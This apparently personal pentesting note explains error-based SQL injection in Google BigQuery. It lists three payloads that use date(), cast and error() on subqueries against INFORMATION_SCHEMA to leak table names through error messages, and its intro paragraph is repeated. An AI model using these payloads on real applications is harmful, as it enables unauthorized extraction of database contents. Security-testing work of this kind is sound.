Exploiting Error Based BigQuery Injection
Here's my quick notes when exploiting error-based BigQuery injection today. In short, BigQuery has a lot of functions can evaluate sub-query and return results to error message.
In practice
Here's my quick notes when exploiting error-based BigQuery injection today. In short, BigQuery has a lot of functions can evaluate sub-query and return results to error message.
SELECT (date((SELECT table_name FROM `bigquery-public-data.austin_bikeshare.INFORMATION_SCHEMA.TABLES` LIMIT 1))) |
SELECT (cast ((SELECT table_name FROM `bigquery-public-data.austin_bikeshare.INFORMATION_SCHEMA.TABLES` LIMIT 1) as INT64)) |
SELECT (error((SELECT string_agg(table_name) FROM `bigquery-public-data.austin_bikeshare.INFORMATION_SCHEMA.TABLES`))) |
In practice
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